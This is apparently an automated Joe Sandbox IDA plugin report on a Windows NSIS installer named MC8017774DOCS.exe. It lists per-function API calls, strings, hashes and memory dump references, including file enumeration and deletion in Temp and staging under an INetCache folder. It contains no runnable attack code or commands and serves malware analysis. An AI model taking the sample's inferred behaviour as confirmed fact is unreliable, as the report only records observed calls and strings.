Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 48dd54245d09a4261c868223c1183d0a1939ced8ba81105c79a7dd243f45b097
Instruction ID: 2e7f43ae767abc3c8d87de518d181ce09957a8e2d580d06b0c6018ac38037ad4
Opcode Fuzzy Hash: 48dd54245d09a4261c868223c1183d0a1939ced8ba81105c79a7dd243f45b097
Instruction Fuzzy Hash: AD228671C2460ADEDB54CFEAC8946EBB7B8FF46305F10492AD1A5E3280D774DA898F50

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 004059D2
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405A1A
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405A3D
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405A43
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405A53
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AF3
FindClose.KERNEL32(00000000), ref: 00405B02

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004059B7
\*.*, xrefs: 00405A14
"C:\Users\user\Desktop\MC8017774DOCS.exe", xrefs: 004059A9
(?z, xrefs: 00405A02

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\MC8017774DOCS.exe"$(?z$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-398219656
Opcode ID: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction ID: 8b5db7531a0f4bb83586dba503ceccc8cbbd7972abfd892cd346515476ce1415
Opcode Fuzzy Hash: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction Fuzzy Hash: 7D41D830900918A6CF21AB65CC89ABF7678EF82718F14827FF801B11C1D77C5985DE6E

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,007A4F70,C:\Users\user\AppData\Local\Temp\nse865B.tmp,00405CBD,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000000,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,?,76233420,004059C9,?,C:\Users\user\AppData\Local\Temp\,76233420), ref: 004065E5
FindClose.KERNEL32(00000000), ref: 004065F1

Strings

pOz, xrefs: 004065DB
C:\Users\user\AppData\Local\Temp\nse865B.tmp, xrefs: 004065DA

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nse865B.tmp$pOz
API String ID: 2295610775-830374354
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: b37c022bec08382a0cb03c9db181d2efdea8b1f21deeb05207148622359d6313
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: EFD01231519020AFC2001B38BD0C84B7A589F463307158B3AB4A6F11E4CB788C6296A9

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D71
ShowWindow.USER32(?), ref: 00403D8E
DestroyWindow.USER32 ref: 00403DA2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DBE
GetDlgItem.USER32(?,?), ref: 00403DDF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DF3
IsWindowEnabled.USER32(00000000), ref: 00403DFA
GetDlgItem.USER32(?,00000001), ref: 00403EA8
GetDlgItem.USER32(?,00000002), ref: 00403EB2
SetClassLongW.USER32(?,000000F2,?), ref: 00403ECC
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F1D
GetDlgItem.USER32(?,00000003), ref: 00403FC3
ShowWindow.USER32(00000000,?), ref: 00403FE4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FF6
EnableWindow.USER32(?,?), ref: 00404011
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404027
EnableMenuItem.USER32(00000000), ref: 0040402E
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404046
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404059
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404083
SetWindowTextW.USER32(?,007A1F20), ref: 00404097
ShowWindow.USER32(?,0000000A), ref: 004041CB

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction ID: db2580999c41c4fe450d1ee4fd1a55221d51bf0aef153e7307bc2b2ec56299a6
Opcode Fuzzy Hash: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction Fuzzy Hash: 3FC1DEB2504200AFDB206F61ED48E2B3AA8EB9A745F01453FF651B11F0CB399991DB5E

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetUserDefaultUILanguage.KERNELBASE(00000002,C:\Users\user\AppData\Local\Temp\,76233420,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000000), ref: 004039A1

Part of subcall function 004061DE: wsprintfW.USER32 ref: 004061EB

lstrcatW.KERNEL32(1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\,76233420,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000000), ref: 00403A08
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A88
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A9B
GetFileAttributesW.KERNEL32(Call), ref: 00403AA6
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne), ref: 00403AEF
RegisterClassW.USER32(007A79C0), ref: 00403B2C
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B44
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B79
ShowWindow.USER32(00000005,00000000), ref: 00403BAF
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BDB
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BE8
RegisterClassW.USER32(007A79C0), ref: 00403BF1
DialogBoxParamW.USER32(?,00000000,00403D35,00000000), ref: 00403C10

Strings

1033, xrefs: 004039A7, 00403A03
C:\Users\user\AppData\Local\Temp\, xrefs: 00403993
.exe, xrefs: 00403A95
.DEFAULT\Control Panel\International, xrefs: 004039F3
RichEdit20W, xrefs: 00403BD3, 00403BD9
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403A17, 00403A1F, 00403AC2, 00403AC8, 00403AD8
RichEd32, xrefs: 00403BC3
Control Panel\Desktop\ResourceLocale, xrefs: 004039BB
_Nb, xrefs: 00403B0B, 00403B73
Call, xrefs: 00403A4F, 00403A58, 00403A66, 00403AB5, 00403ABB
"C:\Users\user\Desktop\MC8017774DOCS.exe", xrefs: 0040398B
RichEdit, xrefs: 00403BE2
RichEd20, xrefs: 00403BB5

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\MC8017774DOCS.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1472972687
Opcode ID: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
Instruction ID: fbef4646fbcf09e2f3785bbd11e1a9055ea34cd93d2d0ed92f9d0f486109358d
Opcode Fuzzy Hash: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
Instruction Fuzzy Hash: 4D61B434200700AED320AF669D45F2B3A6CEB86745F40857FF941B51E2DB7D6901CB2D

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EEE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\MC8017774DOCS.exe,00000400,?,00000006,00000008,0000000A), ref: 00402F0A

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\MC8017774DOCS.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\MC8017774DOCS.exe,C:\Users\user\Desktop\MC8017774DOCS.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F56

Strings

Inst, xrefs: 00402FC2
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EE7
C:\Users\user\Desktop\MC8017774DOCS.exe, xrefs: 00402EF4, 00402F03, 00402F17, 00402F37
C:\Users\user\Desktop, xrefs: 00402F38, 00402F3D, 00402F43
Null, xrefs: 00402FD4
vy, xrefs: 00402F6B
"C:\Users\user\Desktop\MC8017774DOCS.exe", xrefs: 00402EDD
soft, xrefs: 00402FCB
Error launching installer, xrefs: 00402F2D
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\MC8017774DOCS.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\MC8017774DOCS.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 4283519449-3890393539
Opcode ID: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction ID: 6efc7070ea8ae83888cd6b0cd51e2fb70848d81e0c864f736895acd6ba0a04dc
Opcode Fuzzy Hash: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction Fuzzy Hash: 6251C271901208ABDB20AF65DD85BAE7FA8EB05355F10807BF904B62D5DB7C8E408B9D

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063FA
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 0040640D
SHGetSpecialFolderLocation.SHELL32(00405336,007924D8,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 00406449
SHGetPathFromIDListW.SHELL32(007924D8,Call), ref: 00406457
CoTaskMemFree.OLE32(007924D8), ref: 00406462
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406488
lstrlenW.KERNEL32(Call,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 004064E0

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004063CA
Call, xrefs: 004062E3, 004063BE, 004063C5, 004063C9, 004063E3, 004063E4, 004063F9, 0040640C, 00406428, 00406453, 00406487, 0040648D, 004064A9, 004064BC, 004064D9, 004064DF, 004064EB, 0040651E
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406482

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction ID: 404aa91c63c37ecb41bc9170075bd2a6d7acde9a16fb3e5716bfaea1f71b207e
Opcode Fuzzy Hash: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction Fuzzy Hash: C0613671A00511ABDF209F24DD40ABE37A5AF45314F12813FE943BA2D0EB3C99A1CB5D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,?,?,00000031), ref: 004017D5

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,762323A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,762323A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,762323A0), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Strings

C:\Users\user\AppData\Local\Temp\nse865B.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 0040179E

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\nse865B.tmp$C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll$Call
API String ID: 1941528284-656889067
Opcode ID: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction ID: 2a95d3c8b727dc51f4ea131d05094547f585338353aa12d45a2270be549af1c7
Opcode Fuzzy Hash: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction Fuzzy Hash: C141B471910514BACF107BA5DD45DAF3A79EF45328B20823FF512B10E1DB3C4A519B6E

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
wsprintfW.USER32 ref: 00406653
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Strings

\, xrefs: 00406629
UXTHEME, xrefs: 0040660A
%s%S.dll, xrefs: 0040664D

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
